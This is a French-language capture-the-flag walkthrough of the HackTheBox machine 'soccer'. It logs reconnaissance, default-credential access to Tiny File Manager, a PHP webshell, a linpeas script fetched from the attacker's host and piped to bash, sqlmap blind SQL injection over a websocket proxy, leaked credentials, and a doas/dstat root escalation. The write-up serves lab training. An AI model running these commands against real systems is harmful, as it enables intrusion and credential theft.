HackTheBox Walkthrough - soccer

  • Machine ciblée : soccer.

  • Répertoire : /home/kali/soccer

  • Temps passé dessus :

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Pour la version 1.5 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="soccer"
repository="/home/kali/$name"
ip="10.10.11.194"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-20 13:18 CET
Warning: 10.10.11.194 giving up on port because retransmission cap hit (2).
Nmap scan report for soccer (10.10.11.194)
Host is up (0.051s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open     http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3551/tcp filtered apcupsd
9091/tcp open     xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 20 Mar 2023 12:19:11 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 20 Mar 2023 12:19:11 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=3/20%Time=64184F39%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Mon,\x2020\x20Mar\x202023\x2012:19:11\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Mon,\x2020\x20Mar\x202023\x2012:19:11\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mon,\
SF:x2020\x20Mar\x202023\x2012:19:11\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.96 seconds
[i] SearchSploit's XML mode (without verbose enabled).   To enable: searchsploit -v --xml...
[i] Reading: '/home/kali/soccer/sploitable'

Ok donc on reste sur les classiques, un serveur web et un serveur SSH. Allons voir.

Phase 2 : Analyse

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name.$domain
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/03/20 13:19:02 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ curl http://$name.$domain/tiny/

La page de connexion de Tiny File Manager
On a donc une page avec une demande d’authentification. Regardons un peu ce qu’il peut se faire comme exploit. Mince, il faut êtree connecté. Bon, alors quels sont les comptes par défauts ? Ok bon, essayons :

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ curl http://$name.$domain/tiny/ -d "fm_usr=admin&fm_pwd=admin%40123" -v
*   Trying 10.10.11.194:80...
* Connected to soccer.htb (10.10.11.194) port 80 (#0)
> POST /tiny/ HTTP/1.1
> Host: soccer.htb
> User-Agent: curl/7.87.0
> Accept: */*
> Content-Length: 31
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 20 Mar 2023 12:35:22 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: filemanager=5tpn518rubqj1ijut3obqbr7uc; path=/
< Location: http://soccer.htb/tiny/tinyfilemanager.php?p=
<

Ok, c’est passé. Maintenant, il faut tentrer notre rce pour devenir www-data :

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ bash /usr/share/exploitdb/exploits/php/webapps/50828.sh http://$name.$domain/tiny admin "admin@123"
/usr/bin/curl
[] Curl found!
/usr/bin/jq
[] jq found!

[-] Logn Failed!
parse error: Invalid numeric literal at line 1, column 7
[-] Can't find WEBROOT! Using default /var/www/html
[-] File Upload Unsuccessful! Exiting!

Bon, c’est peut-être parce que l’on a un autre site avant que ça plante … On va voir ce que fait le script et comment le faire à la main.

webroot="/var/www/tiny/"
shell="shell$RANDOM.php"
echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell

Alors en faite, il upload un simple reverse shell à base de ?cmd=, On vas voir si l’on peut pas tout simplement envoyer notre prore revshell.

Phase 3 : User

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
$ mysql -u root
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
$ 0:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
$ mysql -u root
ERROR 1698 (28000): Access denied for user 'root'@'localhost'

$ curl http://10.10.14.5:8000/linpeas.sh | bash
╔══════════╣ Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat

╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
server {
        listen 80;
        listen [::]:80;
        server_name soc-player.soccer.htb;
        root /root/app/views;
        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}

On a donc un autre site, allons voir un peu tout ce que l’on peut trouver vers là bas :

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ sudo vi /etc/hosts #on rajoute le nouvel host à notre fichier de conf. Faudrait que j'apprennes à le faire avec du sed.

La nouvelle page du site web
En étant attentif, on se rends compte qu’il s’agit du même site que le tout premier … Mais où l’on peut se connecter cette fois ! Voyons tout ça.

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ curl --cookie sid=s%3A-v6kJtbYgM_BbVPzMhqpmFj73uxB_gGj.QpXoominR2hMGWkcwaoBmaASjxb1uPb4VK6ZBFY4EGc' -d '
email=ll%40lo&username=ll&password=co'http://soc-player.soccer.htb/signup'

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ curl --cookie sid=s%3A-v6kJtbYgM_BbVPzMhqpmFj73uxB_gGj.QpXoominR2hMGWkcwaoBmaASjxb1uPb4VK6ZBFY4EGc' -d 'email=ll%40lo&password=lo'http://soc-player.soccer.htb/login'

Ok, on est connecté ! En se balandant sur le site avec burp, on découvre un truc assez sympathique :

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ curl --cookie connect.sid='s%3A-v6kJtbYgM_BbVPzMhqpmFj73uxB_gGj.QpXoominR2hMGWkcwaoBmaASjxb1uPb4VK6ZBFY4EGc' http://soc-player.soccer.htb:9091/check

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
 window.onload = function () {

     var btn = document.getElementById('btn');
 var input = document.getElementById('id');

 ws.onopen = function (e) {
         console.log('connected to the server')
 }
 input.addEventListener('keypress', (e) => {
         keyOne(e)
 });

 function keyOne(e) {
         e.stopPropagation();
     if (e.keyCode === 13) {
             e.preventDefault();
         sendText();
     }
 }

 function sendText() {
         var msg = input.value;
     if (msg.length > 0) {
             ws.send(JSON.stringify({
                 "id": msg
         }))
     }
     else append("????????")
 }
 }

 ws.onmessage = function (e) {
     append(e.data)
 }

 function append(msg) {
     let p = document.querySelector("p");
 // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
 // p.style.color = randomColor;
 p.textContent = msg
 }

Il s’agit là d’un websocket. J’en ai jamais vu en pentest, mais “y’a surement un truc à faire avec celui-ci. Et quand l’on regarde en détail les échanges, ça rends ça :

{"id":"82345"}
Ticket Exists
{"id":"50502"}
Ticket Doesn t Exists

Est-ce que ça, ça nous ferait pas penser à du SQL ? Petite recherche internet (SQLMap Websocket) : Ça semble être une bonne piste. Regardons :

┌──(kali㉿LuKaLi)-[~/soccer]
└─$ virtualenv websocketing
┌──(kali㉿LuKaLi)-[~/soccer]
└─$ source ./websocketing/bin/activate
┌──(websocketing)(kali㉿LuKaLi)-[~/soccer]
└─$ pip install websocket-client
┌──(websocketing)(kali㉿LuKaLi)-[~/soccer]
└─$ vi ./proxy_websocket.py
# On fera attention à changer les variables ci-dessous !
ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message

┌──(websocketing)(kali㉿LuKaLi)-[~/soccer]
└─$ python3 ./proxy_websocket.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

Ok donc notre transformation pour passer vers du websocket fonctionne. On va pouvoir envoyer notre sqlmap :

┌──(kali㉿LuKaLi)-[~/Tools]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs --level 5 --risk 3
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:18:36 /2023-03-20/

[15:18:37] [INFO] testing connection to the target URL
[15:18:37] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.1')
[15:18:37] [INFO] testing if the target URL content is stable
[15:18:37] [INFO] target URL content is stable
[15:18:37] [INFO] testing if GET parameter 'id' is dynamic
[15:18:38] [WARNING] GET parameter 'id' does not appear to be dynamic
[15:18:38] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[15:18:38] [INFO] testing for SQL injection on GET parameter 'id'
[15:18:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:18:55] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:18:59] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[15:19:06] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[15:19:06] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[...]
[15:19:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:19:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:19:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:19:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:19:28] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[15:19:33] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[...]
[15:20:09] [INFO] testing 'MySQL UNION query (95) - 81 to 100 columns'
[15:20:14] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[15:20:14] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-5759 OR 4700=4700

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2824 FROM (SELECT(SLEEP(5)))RHDT)
---
[15:20:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:20:20] [INFO] fetching database names
[15:20:20] [INFO] fetching number of databases
[15:20:20] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:20:20] [INFO] retrieved: 5
[15:20:22] [INFO] retrieved: mysql
[15:20:29] [INFO] retrieved: information_schema
[15:20:53] [INFO] retrieved: performance_schema
[15:21:16] [INFO] retrieved: sys
[15:21:20] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

[15:21:32] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'

[*] ending @ 15:21:32 /2023-03-20/

┌──(kali㉿LuKaLi)-[~/Tools]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs --level 5 --risk 3 -D soccer_db --dump
+------+----------------------+----------------------+----------+
| id   | email                | password             | username |
+------+----------------------+----------------------+----------+
| 1324 | player@player.htb    | PlayerOftheMatch2022 | player   |
| <blank> | <blank>           | <blank>              | <blank>  |
+------+-------------------+----------------------+----------+

On a donc notre compte ! Bon, j’ai du le relancer et forcer sur la création de compte pour montrer différentes lignes. Bref, on peut tenter de passer player.

ssh player@$ip
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ cat user.txt
e4b9bad324a1cb92794422fe8e352c9f

Phase 4 : Élévation de privilège

player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.

Ok, vous vous rappellez du linpeas qu’on a vu plus haut ? Et bien j’avais noté un truc étrange avec doas. En fait il s’avère que doas est un équivalent à sudo. Donc ça veut dire qu’on va sans doute pouvoir le bypass également.

player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py ; doas -u root /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# ls
user.txt
# cat /root/root.txt
53db7157113ff041240484dc8465180f

Tada. Ma première PE qu’est passée quasiment toute seule !

Récapitulatif

OK, j’m’en souviens plus trop de celle là, et je reviens dessus après plusieurs mois … Je sais que j’ai réussi la VM, mais j’me souviens plus comment. Je vais quand même présenter le write-up comme « fini ». Si quelqu’un veut vraiment que je me repenche dessus, il suffit de m’écrire un ticket sur le git.

A retenir